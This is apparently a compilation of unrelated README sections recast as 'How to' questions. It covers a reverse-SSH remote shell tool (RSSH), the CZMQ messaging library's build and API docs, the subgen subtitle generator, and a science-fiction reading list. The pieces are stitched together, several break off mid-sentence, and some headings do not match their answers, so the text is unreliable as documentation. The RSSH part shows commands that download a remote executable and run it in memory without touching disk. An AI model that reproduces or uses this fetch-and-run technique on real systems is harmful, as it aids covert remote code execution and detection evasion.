This project uses `conpty` on newer versions of windows, and the `winpty` library (which self unpacks) on older versions. This should mean that almost all versions of windows will net you a nice shell.


Question: How to: Fileless execution (Clients support dynamically downloading executables to execute as shell)

Answer:
When specifying what executable the rssh binary should run, either when connecting with a full PTY session or raw execution the client supports URI schemes to download offhost executables.

For example.

```sh
connect --shell https://your.host/program
ssh -J your.rssh.server:3232
https://your.host/program
```

#### Supported URI Schemes

`http/https`: Pure web downloading

`rssh`: Download via the rssh server

The rssh server will serve content from the `downloads` directory in the executables working directory.

Both of these methods will opportunistically use [memfd](https://man7.org/linux/man-pages/man2/memfd_create.2.html) which will not write any executables to disk.


Question: How to: Session spawn errors (0xc0000142)

Answer:
Under some execution circumstances connecting to an RSSH client on windows may fail with no error.

```sh
catcher$ connect windows-system
Session has terminated.
```

Client logs:
```sh
2025/08/24 18:25:39 [client] INFO session.go:52 func16() : Session got request: "shell"
2025/08/24 18:25:39 [client] INFO shell_windows.go:137 runWithConpty() : New process with pid 3427 spawned
2025/08/24 18:25:39 [client] INFO session.go:122 func16() : Session disconnected
```

There are two common causes for this, the first being antivirus has killed the spawned powershell, and the other `0xc0000142` is when the resulting process does not have the permissions to access the Windows Station or Desktop [source](https://stackoverflow.com/questions/677874/starting-a-process-with-credentials-from-a-windows-service/30687230#30687230).

To determine which is causing this issue, execute any command without a pty:

```sh
ssh -J rssh windows-system cmd /c dir
exit status 0xc0000142
```

If you see the `0xc0000142` error code try starting `CMD.exe` and force allocating a pty (`-t`):

```sh
ssh -t -J rssh windows-system CMD.exe
```

This should start an interactive shell.


Question: How to: Server started with `--insecure` still has `Failed to handshake`

Answer:
If the client binary was generated with the `link` command this client has the server public key fingerprint baked in by default. If you lose your server private key, the clients will no longer be able to connect.
You can also generate clients with `link --fingerprint
` to specify a fingerprint, there isnt currently a way to disable this as per version 1.0.13.


Question: How to: Foreground vs Background

Answer: By default, clients will run in the background then the parent process will exit, the child process will be given the parent processes stdout/stderr so you will be able to see output. If you need to debug your client, use the `--foreground` flag.


Question: How to: Donations, Support, or Giving Back

Answer:
The easiest way to give back to the RSSH project is by finding bugs, opening feature requests and word-of-mouth advertising it to people you think will find it useful!

However, if you want to give something back to me directly, you can do so either through Kofi or Github Sponsors (under "Sponsor this Project" on the right hand side).
Or donate to me by sending to the either of the following wallets:

Monero (XMR):
`8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND`
Bitcoin (BTC):
`bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr`


Question: How to: CZMQ - High-level C binding for ØMQ

Answer:
| Linux & MacOSX | Windows  |
|:--------------:|:--------:|
|[![Build Status](https://travis-ci.com/zeromq/czmq.svg?branch=master)](https://travis-ci.com/zeromq/czmq)|[![Build status](https://ci.appveyor.com/api/projects/status/q7y22juu3pnl5wq6?svg=true)](https://ci.appveyor.com/project/zeromq/czmq)|


Question: How to: Scope and Goals

Answer:
CZMQ has these goals:

* To wrap the ØMQ core API in semantics that lead to shorter, more readable applications.
* To hide as far as possible the differences between different versions of ØMQ (2.x, 3.x, 4.x).
* To provide a space for development of more sophisticated API semantics.
* To wrap the ØMQ security features with high-level tools and APIs.
* To become the basis for other language bindings built on top of CZMQ.

CZMQ grew out of concepts developed in [ØMQ - The Guide](http://zguide.zeromq.org).


Question: How to: Ownership and License

Answer:
The contributors are listed in AUTHORS. This project uses the MPL v2 license, see LICENSE.

CZMQ uses the [C4.1 (Collective Code Construction Contract)](http://rfc.zeromq.org/spec:22) process for contributions.

CZMQ uses the [CLASS (C Language Style for Scalabilty)](http://rfc.zeromq.org/spec:21) guide for code style.

To report an issue, use the [CZMQ issue tracker](https://github.com/zeromq/czmq/issues) at github.com.


Question: How to: Install from a package manager

Answer:
#### Linux

Deb packages are available for [Debian](https://packages.debian.org/search?searchon=sourcenames&keywords=czmq) and [Ubuntu](https://packages.ubuntu.com/search?searchon=sourcenames&keywords=czmq).

For other distros please refer to [pkgs.org](https://pkgs.org/download/czmq).

You can also get prebuild binaries for latest git `master` for most distros on openSUSE's Build Service:

**Git `master` only stable APIs:** http://software.opensuse.org/download.html?project=network%3Amessaging%3Azeromq%3Agit-stable&package=czmq

**Git `master` including draft APIs:** http://software.opensuse.org/download.html?project=network%3Amessaging%3Azeromq%3Agit-draft&package=czmq

#### MacOS

On macOS install czmq with Homebrew see [here](https://formulae.brew.sh/formula/czmq).

#### Windows

**Using vcpkg**

If you are already using [vcpkg](https://github.com/Microsoft/vcpkg/), you can download and install `czmq` with one single command:
```
vcpkg.exe install czmq
```
this will build `czmq` as a 32-bit shared library.
```
vcpkg.exe install czmq:x64-windows-static
```
this will build `czmq` as a 64-bit static library.

You may also build `czmq` with one or more optional libraries:
```
vcpkg.exe install czmq[curl,httpd,lz4]:x64-windows
```
this will build `czmq` with `libcurl`, `libmicrohttpd`, `lz4`, as a 64-bit shared library.

To use the draft APIs, you may build `czmq` with `draft` feature:
```
vcpkg install czmq[draft]
```

If you are an adventurer, and want to always use the latest version of `czmq`, pass an extra `--head` option:
```
vcpkg.exe install czmq --head
```

These commands will also print out instructions on how to use the library from your MSBuild or CMake-based projects.


Question: How to: Building on Linux and macOS

Answer:
To start with, you need at least these packages:
* `git` -- git is how we share code with other people.
* `build-essential`, `libtool`, `pkg-config` - the C compiler and related tools.
* `autotools-dev`, `autoconf`, `automake` - the GNU autoconf makefile generators.
* `cmake` - the CMake makefile generators (an alternative to autoconf).

Plus some others:
* `uuid-dev`, `libpcre3-dev` - utility libraries.
* `valgrind` - a useful tool for checking your code.
* `pkg-config` - an optional useful tool to make building with dependencies easier.

Which we install like this (using the Debian-style apt-get package manager):

    sudo apt-get update
    sudo apt-get install -y \
        git build-essential libtool \
        pkg-config autotools-dev autoconf automake cmake \
        uuid-dev libpcre3-dev valgrind

    # only execute this next line if interested in updating the man pages as well (adds to build time):
    sudo apt-get install -y asciidoc

Here's how to build CZMQ from GitHub (building from packages is very similar, you don't clone a repo but unpack a tarball), including the libzmq (ZeroMQ core) library (NOTE: skip ldconfig on OSX):

    git clone https://github.com/zeromq/libzmq.git
    cd libzmq
    ./autogen.sh
    # do not specify "--with-libsodium" if you prefer to use internal tweetnacl security implementation (recommended for development)
    ./configure --with-libsodium
    make check
    sudo make install
    sudo ldconfig
    cd ..

    git clone https://github.com/zeromq/czmq.git
    cd czmq
    ./autogen.sh && ./configure && make check
    sudo make install
    sudo ldconfig
    cd ..

In general CZMQ works best with the latest libzmq master. If you already have an older version of libzmq installed on your system, e.g. in /usr/, then you can install libzmq master to your home directory ($HOME/local):

    #   Building libzmq in our home directory
    ./configure --prefix=$HOME/local

And then to build CZMQ against this installation of libzmq:

    export CFLAGS=-I$HOME/local/include
    export LDFLAGS=-L$HOME/local/lib64
    export PKG_CONFIG_PATH=$HOME/local/lib64/pkgconfig
    ./configure

NOTE: the PKG_CONFIG_PATH is not mandatory, and the actual directory might be different. If you cannot or do not want to use pkg-config, please make sure to MANUALLY add all the necessary CFLAGS and LDFLAGS from all dependencies (for example -DZMQ_BUILD_DRAFT_API=1 if you want the DRAFT APIs).

You will need the pkg-config, libtool, and autoreconf packages. After building, run the CZMQ selftests:

    make check


Question: How to: Building on Windows

Answer:
To start with, you need MS Visual Studio (C/C++). The free community edition works well.

Then, install git, and make sure it works from a DevStudio command prompt:

```
git
```

#### Using CMake

`czmq` requires `libzmq`, so we need to build `libzmq` first. For `libzmq`, you can optionally use [libsodium](https://github.com/jedisct1/libsodium) as the curve encryption library. So we will start from building `libsodium` in the following (and you can bypass the building of `libsodium` if you are ok with libzmq's default curve encryption library):
```
git clone --depth 1 -b stable https://github.com/jedisct1/libsodium.git
cd libsodium\builds\msvc\build
buildall.bat
cd ..\..\..\..
```
Once done, you can find the library files under `libsodium\bin\
\
\
\
`.

Here, the `
` is the platform toolset you are using: `v100` for `VS2010`, `v140` for `VS2015`, `v141` for `VS2017`, etc.

```
git clone https://github.com/zeromq/libzmq.git
cd libzmq
mkdir build
cd build
cmake .. -DBUILD_STATIC=OFF -DBUILD_SHARED=ON -DZMQ_BUILD_TESTS=ON -DWITH_LIBSODIUM=ON -DCMAKE_INCLUDE_PATH=..\libsodium\src\libsodium\include -DCMAKE_LIBRARY_PATH=..\libsodium\bin\Win32\Release\
\dynamic -DCMAKE_INSTALL_PREFIX=C:\libzmq
cmake --build . --config Release --target install
cd ..\..\
```
`-DWITH_LIBSODIUM=ON` is necessary if you want to build `libzmq` with `libsodium`. `CMAKE_INCLUDE_PATH` option tells `libzmq` where to search for `libsodium`'s header files. And the `CMAKE_LIBRARY_PATH` option tells where to search for libsodium library files. If you don't need `libsodium` support, you can omit these three options.

`-DCMAKE_INSTALL_PREFIX=C:\libzmq` means we want to install `libzmq` into the `C:\libzmq`. You may need to run your shell with administrator privilege in order to write to the system disk.

Now, it is time to build `czmq`:
```
git clone https://github.com/zeromq/czmq.git
cd czmq
mkdir build
cd build
cmake .. -DCZMQ_BUILD_SHARED=ON -DCZMQ_BUILD_STATIC=OFF -DCMAKE_PREFIX_PATH=C:\libzmq
cmake --build . --config Release
```
Remember that we install `libzmq` to `C:\libzmq` through specifying `-DCMAKE_INSTALL_PREFIX=C:\libzmq` in the previous step. We here use `-DCMAKE_PREFIX_PATH=C:\libzmq` to tell `czmq` where to search for `libzmq`.

That is not the whole story. We didn't mention the building of `libcurl`, `lz4`, `libuuid` and other `czmq` optional libraries above. In fact, to build all of these optional libraries successfully is really tricky. Please refer issue [#1972](https://github.com/zeromq/czmq/issues/1972) for more details.

#### Using MSBuild (Out of date, may not work now!)

```
    git clone --depth 1 -b stable https://github.com/jedisct1/libsodium.git
    cd libsodium\builds\msvc\build
    buildall.bat
    cd ..\..\..\..

    :: if libsodium is on disk, the Windows build of libzmq will automatically use it
    git clone https://github.com/zeromq/libzmq.git
    cd libzmq\builds\msvc
    configure.bat
    cd build
    buildall.bat
    cd ..\..\..\..

    git clone https://github.com/zeromq/czmq.git
    cd czmq\builds\msvc
    configure.bat
    cd build
    buildall.bat
    cd ..\..\..\..
```

Let's test by running `czmq_selftest`:

```
   czmq>dir/s/b czmq_selftest.exe
   czmq\builds\msvc\vs2013\DebugDEXE\czmq_selftest.exe
   czmq\builds\msvc\vs2013\DebugLEXE\czmq_selftest.exe
   czmq\builds\msvc\vs2013\DebugSEXE\czmq_selftest.exe
   czmq\builds\msvc\vs2013\ReleaseDEXE\czmq_selftest.exe
   czmq\builds\msvc\vs2013\ReleaseLEXE\czmq_selftest.exe
   czmq\builds\msvc\vs2013\ReleaseSEXE\czmq_selftest.exe
   czmq\builds\msvc\vs2013\x64\DebugDEXE\czmq_selftest.exe
   czmq\builds\msvc\vs2013\x64\DebugLEXE\czmq_selftest.exe
   czmq\builds\msvc\vs2013\x64\DebugSEXE\czmq_selftest.exe
   czmq\builds\msvc\vs2013\x64\ReleaseDEXE\czmq_selftest.exe
   czmq\builds\msvc\vs2013\x64\ReleaseLEXE\czmq_selftest.exe
   czmq\builds\msvc\vs2013\x64\ReleaseSEXE\czmq_selftest.exe

    :: select your choice and run it
    czmq\builds\msvc\vs2013\x64\ReleaseDEXE\czmq_selftest.exe
```


Question: How to: Building for iOS

Answer: Static libraries can be compiled for iOS, some scripts to do so can be found at: https://github.com/crcunningham/zeromq_ios_libraries.


Question: How to: Linking with an Application

Answer:
Include `czmq.h` in your application and link with libczmq. Here is a typical gcc link command:

    gcc myapp.c -o myapp -lczmq -lzmq

Note: if you want to use the draft APIs you'll need to define `CZMQ_BUILD_DRAFT_API=1`
and `ZMQ_BUILD_DRAFT_API=1` in order to unlock them. This handled automatically
by platforms using pkg-config but not through cmake on Windows for example.


Question: How to: Use from Other Languages

Answer:
This is a list of auto-generated bindings:

* https://github.com/zeromq/czmq/tree/master/bindings/jni - Java
* https://github.com/zeromq/czmq/tree/master/bindings/nodejs - NodeJS
* https://github.com/zeromq/czmq/tree/master/bindings/python - Python
* https://github.com/zeromq/czmq/tree/master/bindings/python_cffi - Python (cffi)
* https://github.com/zeromq/czmq/tree/master/bindings/qml - QML
* https://github.com/zeromq/czmq/tree/master/bindings/qt - Qt
* https://github.com/zeromq/czmq/tree/master/bindings/ruby - Ruby (FFI)

This is a list of known higher-level wrappers around CZMQ:

* https://github.com/1100110/CZMQ - D bindings
* https://github.com/methodmissing/rbczmq - Ruby
* https://github.com/paddor/cztop - Ruby, based on generated FFI binding
* https://github.com/zeromq/pyczmq - Python
* https://github.com/lhope/cl-czmq - Common Lisp
* https://github.com/fmp88/ocaml-czmq - Ocaml
* https://github.com/gar1t/erlang-czmq - Erlang
* https://github.com/mtortonesi/ruby-czmq-ffi - Ruby FFI
* https://github.com/zeromq/goczmq - Go


Question: How to: API v3 Summary

Answer:
This is the API provided by CZMQ v3.x, in alphabetical order.

#### zactor - simple actor framework

The zactor class provides a simple actor framework. It replaces the
CZMQ zthread class, which had a complex API that did not fit the CLASS
standard. A CZMQ actor is implemented as a thread plus a PAIR-PAIR
pipe. The constructor and destructor are always synchronized, so the
caller can be sure all resources are created, and destroyed, when these
calls complete. (This solves a major problem with zthread, that a caller
could not be sure when a child thread had finished.)

A zactor_t instance acts like a zsock_t and you can pass it to any CZMQ
method that would take a zsock_t argument, including methods in zframe,
zmsg, zstr, and zpoller. (zloop somehow escaped and needs catching.)

An actor function MUST call zsock_signal (pipe) when initialized
and MUST listen to pipe and exit on $TERM command.

Please add '@discuss' section in './../src/zactor.c'.

This is the class interface:

```h
    //  This is a stable class, and may not change except for emergencies. It
    //  is provided in stable builds.
    //  This class has draft methods, which may change over time. They are not
    //  in stable releases, by default. Use --enable-drafts to enable.
    // Actors get a pipe and arguments from caller
    typedef void (zactor_fn) (
        zsock_t *pipe, void *args);

    //  Create a new actor passing arbitrary arguments reference.
    CZMQ_EXPORT zactor_t *
        zactor_new (zactor_fn task, void *args);

    //  Destroy an actor.
    CZMQ_EXPORT void
        zactor_destroy (zactor_t **self_p);

    //  Send a zmsg message to the actor, take ownership of the message
    //  and destroy when it has been sent.
    CZMQ_EXPORT int
        zactor_send (zactor_t *self, zmsg_t **msg_p);

    //  Receive a zmsg message from the actor. Returns NULL if the actor
    //  was interrupted before the message could be received, or if there
    //  was a timeout on the actor.
    //  Caller owns return value and must destroy it when done.
    CZMQ_EXPORT zmsg_t *
        zactor_recv (zactor_t *self);

    //  Probe the supplied object, and report if it looks like a zactor_t.
    CZMQ_EXPORT bool
        zactor_is (void *self);

    //  Probe the supplied reference. If it looks like a zactor_t instance,
    //  return the underlying libzmq actor handle; else if it looks like
    //  a libzmq actor handle, return the supplied value.
    CZMQ_EXPORT void *
        zactor_resolve (void *self);

    //  Return the actor's zsock handle. Use this when you absolutely need
    //  to work with the zsock instance rather than the actor.
    CZMQ_EXPORT zsock_t *
        zactor_sock (zactor_t *self);

    //  Self test of this class.
    CZMQ_EXPORT void
        zactor_test (bool verbose);

    #ifdef CZMQ_BUILD_DRAFT_API
    // Function to be called on zactor_destroy. Default behavior is to send zmsg_t with string "$TERM" in a first frame.
    //
    // An example - to send $KTHXBAI string
    //
    //     if (zstr_send (self, "$KTHXBAI") == 0)
    //         zsock_wait (self);
    typedef void (zactor_destructor_fn) (
        zactor_t *self);

    //  *** Draft method, for development use, may change without warning ***
    //  Change default destructor by custom function. Actor MUST be able to handle new message instead of default $TERM.
    CZMQ_EXPORT void
        zactor_set_destructor (zactor_t *self, zactor_destructor_fn destructor);

    #endif // CZMQ_BUILD_DRAFT_API
```
Please add '@interface' section in './../src/zactor.c'.

This is the class self test code:

```c
    zactor_t *actor = zactor_new (echo_actor, "Hello, World");
    assert (actor);
    zstr_sendx (actor, "ECHO", "This is a string", NULL);
    char *string = zstr_recv (actor);
    assert (streq (string, "This is a string"));
    freen (string);
    zactor_destroy (&actor);

    // custom destructor
    // KTHXBAI_actor ends on "$KTHXBAI" string
    zactor_t *KTHXBAI = zactor_new (KTHXBAI_actor, NULL);
    assert (KTHXBAI);
    // which is the one sent by KTHXBAI_destructor
    zactor_set_destructor (KTHXBAI, KTHXBAI_destructor);
    zactor_destroy (&KTHXBAI);

    // custom destructor
    // destructor using bsend/brecv
    zactor_t *BSEND = zactor_new (BSEND_actor, NULL);
    assert (BSEND);
    zactor_set_destructor (BSEND, BSEND_destructor);
    zactor_destroy (&BSEND);
    #if defined (__WINDOWS__)
    zsys_shutdown();
    #endif
```

#### zauth - authentication for ZeroMQ security mechanisms

A zauth actor takes over authentication for all incoming connections in
its context. You can allow or block peers based on IP address,
and define policies for securing PLAIN, CURVE, and GSSAPI connections.

This class replaces zauth_v2, and is meant for applications that use the
CZMQ v3 API (meaning, zsock).

This is the class interface:

```h
    #define CURVE_ALLOW_ANY "*"

    //  CZMQ v3 API (for use with zsock, n


Question: How to: Error Handling

Answer:
The CZMQ policy is to reduce the error flow to 0/-1 where possible. libzmq still does a lot of errno setting. CZMQ does not do that, as it creates a fuzzy API. Things either work as expected, or they fail, and the application's best strategy is usually to assert on non-zero return codes.

Some older libraries still return plethora of error codes, to indicate different types of failure. This ironically makes both library and application more likely to be buggy. The reason is simply that it needs more code on both sides of the API, and the more code, the more bugs.

The use of black/white error handling fits the CLASS style for APIs where each call is explicit and without side effects of any kind, and where damage is either impossible, or fatal.

The one exception is running out of resources (memory, sockets). In that case, there are two strategies that work, for different types of app. One is to assert, to force better sizing of the machine and/or limits such as max connections. Two is to degrade carefully, e.g. refuse new connections, however that is considerably harder to do correctly and probably unrealistic for most developers.

Some CZMQ methods used to actually assert, e.g. in zsocket_bind, if the action failed, instead of returning -1. That was just closer to the majority case where the action MUST work, or nothing can continue. However there's a small slice of cases where failure means something positive, and for these cases, such calls return -1 on failure. 99% of calling code simply asserts the return value is not -1.

There are a few cases where the return value is overloaded to return -1, 0, or other values. These are somewhat confusing special cases and we aim to eliminate them over time.

The overall goal with this strategy is robustness, and absolute minimal and predictable expression in the code. You can see that it works: the CZMQ code is generally very simple and clear, with a few exceptions of places where people have used their old C style (we fix these over time).


Question: How to: Adding a New Class

Answer:
If you define a new CZMQ class `myclass` you need to:

* Write the `zmyclass.c` and `zmyclass.h` source files, in `src` and `include` respectively.
* Add`#include
` to `include/czmq.h`.
* Add the myclass header and test call to `src/czmq_selftest.c`.
* Add a reference documentation to 'doc/zmyclass.txt'.
* Add myclass to 'model/projects.xml` and read model/README.txt.
* Add a section to README.txt.


Question: How to: Documentation

Answer:
Man pages are generated from the class header and source files via the doc/mkman tool, and similar functionality in the gitdown tool (http://github.com/imatix/gitdown). The header file for a class must wrap its interface as follows (example is from include/zclock.h):

    //  @interface
    //  Sleep for a number of milliseconds
    void
        zclock_sleep (int msecs);

    //  Return current system clock as milliseconds
    int64_t
        zclock_time (void);

    //  Self test of this class
    int
        zclock_test (Bool verbose);
    //  @end

The source file for a class must provide documentation as follows:

    /*
    @header
    ...short explanation of class...
    @discuss
    ...longer discussion of how it works...
    @end
    */

The source file for a class then provides the self test example as follows:

    //  @selftest
    int64_t start = zclock_time ();
    zclock_sleep (10);
    assert ((zclock_time () - start) >= 10);
    //  @end

The template for man pages is in doc/mkman.


Question: How to: Development

Answer:
CZMQ is developed through a test-driven process that guarantees no memory violations or leaks in the code:

* Modify a class or method.
* Update the test method for that class.
* Run the 'selftest' script, which uses the Valgrind memcheck tool.
* Repeat until perfect.


Question: How to: Porting CZMQ

Answer:
When you try CZMQ on an OS that it's not been used on (ever, or for a while), you will hit code that does not compile. In some cases the patches are trivial, in other cases (usually when porting to Windows), the work needed to build equivalent functionality may be non-trivial. In any case, the benefit is that once ported, the functionality is available to all applications.

Before attempting to patch code for portability, please read the `czmq_prelude.h` header file. There are several typical types of changes you may need to make to get functionality working on a specific operating system:

* Defining typedefs which are missing on that specific compiler: do this in czmq_prelude.h.
* Defining macros that rename exotic library functions to more conventional names: do this in czmq_prelude.h.
* Reimplementing specific methods to use a non-standard API: this is typically needed on Windows. Do this in the relevant class, using #ifdefs to properly differentiate code for different platforms.


Question: How to: Hints to Contributors

Answer:
CZMQ is a nice, neat library, and you may not immediately appreciate why. Read the CLASS style guide please, and write your code to make it indistinguishable from the rest of the code in the library. That is the only real criteria for good style: it's invisible.

Don't include system headers in source files. The right place for these is czmq_prelude.h. If you need to check against configured libraries and/or headers, include platform.h in the source before including czmq.h.

Do read your code after you write it and ask, "Can I make this simpler?" We do use a nice minimalist and yet readable style. Learn it, adopt it, use it.

Before opening a pull request read our [contribution guidelines](https://github.com/zeromq/czmq/blob/master/CONTRIBUTING.md). Thanks!


Question: How to: Code Generation

Answer:
We generate scripts for build systems like autotools, cmake and others as well as class skeletons, class headers, the selftest runner, bindings to higher level languages and more using zproject. Generated files will have a header and footer telling you that this file was generated. To re-generate those files it is recommended to use the latest `zeromqorg/zproject` docker image.

#### Docker

* Clone [libzmq](https://github.com/zeromq/libzmq) into the same directory as czmq.

Next always download the latest image:

```sh


Question: How to: Shell and Powershell

Answer: docker run -v ${PWD}/..:/workspace -e BUILD_DIR=/workspace/czmq zeromqorg/zproject


Question: How to: Windows CMD

Answer:
docker run -v %cd%/..:/workspace -e BUILD_DIR=/workspace/czmq zeromqorg/zproject
```

#### Linux and MacOS

* Install [GSL](https://github.com/zeromq/gsl) and [zproject](https://github.com/zeromq/zproject)
* Clone [libzmq](https://github.com/zeromq/libzmq) into the same directory as czmq

Then run the following command:

	gsl project.xml


Question: How to: This Document

Answer: _This documentation was generated from czmq/README.txt using [Gitdown](https://github.com/zeromq/gitdown)_


Question: How to: What is this?

Answer: This will transcribe your personal media on a Plex, Emby, or Jellyfin server to create subtitles (.srt) from audio/video files with the following languages: https://github.com/McCloudS/subgen#audio-languages-supported-via-openai and transcribe or translate them into english. It can also be used as a Whisper provider in Bazarr (See below instructions). It technically has support to transcribe from a foreign langauge to itself (IE Japanese > Japanese, see [TRANSCRIBE_OR_TRANSLATE](https://github.com/McCloudS/subgen#variables)). It is currently reliant on webhooks from Jellyfin, Emby, Plex, or Tautulli. This uses stable-ts and faster-whisper which can use both Nvidia GPUs and CPUs.


Question: How to: What can it do?

Answer: * Create .srt subtitles when a media file is added or played which triggers off of Jellyfin, Plex, or Tautulli webhooks. It can also be called via the Whisper provider inside Bazarr.


Question: How to: Standalone/Without Docker

Answer:
Install python3 (Whisper supports Python 3.9-3.11), ffmpeg, and download launcher.py from this repository.  Then run it: `python3 launcher.py -u -i -s`. You need to have matching paths relative to your Plex server/folders, or use USE_PATH_MAPPING.  Paths are not needed if you are only using Bazarr. You will need the appropriate NVIDIA drivers installed minimum of CUDA Toolkit 12.3 (12.3.2 is known working): https://developer.nvidia.com/cuda-toolkit-archive

Note: If you have previously had Subgen running in standalone, you may need to run `pip install --upgrade --force-reinstall faster-whisper git+https://github.com/jianfch/stable-ts.git` to force the install of the newer stable-ts package.

#### Using Launcher

launcher.py can launch subgen for you and automate the setup and can take the following options:
![image](https://github.com/McCloudS/subgen/assets/64094529/081f95b2-7a09-498f-a39e-5ea66e0bc7e1)

Using `-s` for Bazarr setup:
![image](https://github.com/McCloudS/subgen/assets/64094529/ade1b886-3b99-4f80-95ac-bb28608259bb)


Question: How to: What are the limitations/problems?

Answer:
* I made it and know nothing about formal deployment for python coding.
* It's using trained AI models to transcribe, so it WILL mess up


Question: How to: Audio Languages Supported (via OpenAI)

Answer: Afrikaans, Arabic, Armenian, Azerbaijani, Belarusian, Bosnian, Bulgarian, Catalan, Chinese, Croatian, Czech, Danish, Dutch, English, Estonian, Finnish, French, Galician, German, Greek, Hebrew, Hindi, Hungarian, Icelandic, Indonesian, Italian, Japanese, Kannada, Kazakh, Korean, Latvian, Lithuanian, Macedonian, Malay, Marathi, Maori, Nepali, Norwegian, Persian, Polish, Portuguese, Romanian, Russian, Serbian, Slovak, Slovenian, Spanish, Swahili, Swedish, Tagalog, Tamil, Thai, Turkish, Ukrainian, Urdu, Vietnamese, and Welsh.


Question: How to: Known Issues

Answer: At this time, if you have high CPU usage when not actively transcribing on the CPU only docker, try the GPU one.


Question: How to: Additional reading:

Answer:
* https://github.com/openai/whisper (Original OpenAI project)
* https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes (2 letter subtitle codes)


Question: How to: Science Fiction

Answer:
#### [Accelerando](https://www.goodreads.com/book/show/17863.Accelerando) (2005) _by [Charles Stross](https://en.wikipedia.org/wiki/Charles_Stross)_ [3.9]

Accelerando is an excellent exploration of Posthumanism. It's my go to recommendation for people wanting to read about that stuff. - [@erbridge](https://github.com/erbridge)

It's also worth mentioning that [the ebook is available for free in a variety of formats on Stross's website](https://www.antipope.org/charlie/blog-static/fiction/accelerando/accelerando-intro.html). - [@AlexKeyes](https://github.com/alex-keyes)
Description
> The Singularity. It is the era of the posthuman. Artificial intelligences have surpassed the limits of human intellect. Biotechnological beings have rendered people all but extinct. Molecular nanotechnology runs rampant, replicating and reprogramming at will. Contact with extraterrestrial life grows more imminent with each new day.
  >
  > Struggling to survive and thrive in this accelerated world are three generations of the Macx clan: Manfred, an entrepreneur dealing in intelligence amplification technology whose mind is divided between his physical environment and the Internet; his daughter, Amber, on the run from her domineering mother, seeking her fortune in the outer system as an indentured astronaut; and Sirhan, Amber's son, who finds his destiny linked to the fate of all of humanity.
  >
  > For something is systemically dismantling the nine planets of the solar system. Something beyond human comprehension. Something that has no use for biological life in any form.
#### [Babel-17](https://www.goodreads.com/book/show/1199688.Babel_17) (1966) _by [Samuel R. Delany](https://en.wikipedia.org/wiki/Samuel_R._Delany)_ [3.8]

This intense linguistic thriller will change the way you think about language. - [@helderroem](https://github.com/helderroem)
Description
> Babel-17 is all about the power of language. Humanity, which has spread throughout the universe, is involved in a war with the Invaders, who have been covertly assassinating officials and sabotaging spaceships. The only clues humanity has to go on are strange alien messages that have been intercepted in space. Poet and linguist Rydra Wong is determined to understand the language and stop the alien threat.
#### [Barsoom series](https://www.goodreads.com/series/43942-barsoom) (1912-1927) _by [Edgar Rice Burroughs](https://en.wikipedia.org/wiki/Edgar_Rice_Burroughs)_ [3.8] 🌟

Now more than a century old, has that unique writing style you can only find in adventure classics. - [@uraimo](https://github.com/uraimo)

Books:

- [A Princess of Mars](https://www.goodreads.com/book/show/40395.A_Princess_of_Mars) [3.8]
- [The Gods of Mars](https://www.goodreads.com/book/show/841973.The_Gods_of_Mars) [3.8]
- [The Warlord of Mars](https://www.goodreads.com/book/show/40379.The_Warlord_of_Mars) [3.8]
- [Thuvia, Maid of Mars](https://www.goodreads.com/book/show/40387.Thuvia_Maid_of_Mars) [3.7]
- [The Chessmen of Mars](https://www.goodreads.com/book/show/40378.The_Chessmen_of_Mars) [3.7]
- [The Master Mind of Mars](https://www.goodreads.com/book/show/40385.The_Master_Mind_of_Mars) [3.8]
- [A Fighting Man of Mars](https://www.goodreads.com/book/show/40386.A_Fighting_Man_of_Mars) [3.8]
- [Swords of Mars](https://www.goodreads.com/book/show/40376.Swords_of_Mars) [4.0]
- [Synthetic Men of Mars](https://www.goodreads.com/book/show/40384.Synthetic_Men_of_Mars) [3.8]
- [Llana of Gathol](https://www.goodreads.com/book/show/215954.Llana_of_Gathol) [3.7]
- [John Carter of Mars](https://www.goodreads.com/book/show/40388.John_Carter_of_Mars) [3.8]
Description
> Barsoom is planet Mars from American Edgar Rice Burroughs. First serialized as Under the Moons of Mars in 1912, published as A Princess of Mars in 1917. Dying Mars was based on outdated scientific ideas of canals. The savage, frontier world has honor, noble sacrifice and constant struggle, where martial prowess is paramount and races fight over dwindling resources.
#### [Bobiverse Series](https://www.goodreads.com/book/show/32109569-we-are-legion-we-are-bob) (2016) _by [Dennis E. Taylor](https://www.goodreads.com/author/show/12130438.Dennis_E_Taylor)_ [4.35]

Like Accelerando, this series is an excellent exploration of posthumanism. It also has themes of space exploration, references to various other series, and is all around a great amount of fun to read. It's also free if you have kindle unlimited. - [@AlexKeyes](https://github.com/alex-keyes)
Description
> Bob Johansson has just sold his software company and is looking forward to a life of leisure. There are places to go, books to read, and movies to watch. So it's a little unfair when he gets himself killed crossing the street.
  >
  > Bob wakes up a century later to find that corpsicles have been declared to be


Question: How to: Hard Science Fiction

Answer:
_Novels which place an emphasis on scientific accuracy and/or technical detail; where the science itself is a central topic._

#### [A Deepness in the Sky](https://www.goodreads.com/book/show/226004.A_Deepness_in_the_Sky) (2000) _by [Vernor Vinge](https://en.wikipedia.org/wiki/Vernor_Vinge)_ [4.32]

Though written after _A Fire upon the Deep_, _A Deepness in the Sky_ is a prequel to Vinge's earlier novel, and shares one of its protagonists: the Qeng Ho trader Pham Nuwen. Though I read _A Fire upon the Deep_ once and enjoyed it, I've read _A Deepness in the Sky_ at least half a dozen times, and consider it my favorite hard sci-fi novel, period. Vernor Vinge was one of the first people to propose the idea of the technological singularity, and the near-future novels he wrote a decade or more ago have revealed themselves to be almost eerily prescient. - [@isochronous](https://github.com/isochronous)
Description
> After thousands of years searching, humans stand on the verge of first contact with an alien race. Two human groups: the Qeng Ho, a culture of free traders, and the Emergents, a ruthless society based on the technological enslavement of minds.
  >
  > The group that opens trade with the aliens will reap unimaginable riches. But first, both groups must wait at the aliens' very doorstep for their strange star to relight and for their planet to reawaken, as it does every two hundred and fifty years....
#### [A Fire Upon the Deep](https://www.goodreads.com/book/show/77711.A_Fire_Upon_the_Deep) (1992) _by [Vernor Vinge](https://en.wikipedia.org/wiki/Vernor_Vinge)_ [4.1]
Description
> _A Fire upon the Deep_ is the big, breakout book that fulfills the promise of Vinge’s career to date: a gripping tale of galactic war told on a cosmic scale.
  >
